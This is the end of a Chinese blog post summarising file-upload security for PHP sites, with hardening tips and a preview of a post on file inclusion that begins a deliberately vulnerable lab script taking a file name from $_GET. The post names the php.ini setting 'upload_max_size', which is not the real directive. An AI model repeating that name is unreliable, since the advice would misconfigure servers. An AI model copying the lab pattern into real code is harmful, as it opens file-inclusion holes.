  • 路径/扩展名检测一定要用白名单
  • 不能有本地文件包含漏洞
  • 随时注意更新Web应用软件
  1. 关掉上传文件的功能
    如果Web应用程序不需要上传文件的功能,则可以直接将上传文件的功能关闭来避免不必要的麻烦。打开“php.ini”文件,找到file uploads的位置,将file_uploads设置成Off。
  2. 限制能够上传的文件大小
    如果黑客采取连续不断地上传文件,或是上传极大的文件,来使Web应用程序没有更多资源来处理其他来访者的请求,黑客就可以借此来瘫痪网站。PHP的限制机制可以让您限制允许上传文件体积的最大值,来避免来访者上传太大的文件。单独POST请求的最大值,可以使用php.ini文件的upload_max_size来设置。打开“php.ini”文件,找到upload_max_size的位置,将upload_max_size设置成想要的值。
  3. 检查上传文件的类型
  4. 检查上传文件的内容
  5. 上传的文件不要保存在公开的文件夹内,以避免被黑客直接读取。另外将文件的路径隐藏起来,或是将文件名称改成没有扩展名的随机文件名,都可以增加上传文件的安全性

   转载规则


《文件上传解析总结》 冯文华 采用 知识共享署名 4.0 国际许可协议 进行许可。
 上一篇
文件包含总结 文件包含总结
实验环境:phpstudy,在D:\phpStudy\PHPTutorial\WWW\目录下新建fileinclude,然后新建index.php,内容如下 <?php $file = $_GET['file'];
2019-03-10
下一篇 
dell-7559-10.14.3-黑苹果 dell-7559-10.14.3-黑苹果
[toc] 7559黑苹果 参考链接: Dell 7559 安装10.14GM教程(i5+UEFI)这位大佬的教程已经很完善了,只不过本人是小白,所以对这位大佬的教程进行了一些补充,如果你已经按照他的教程安装完成了,现在是10.14或者10
  目录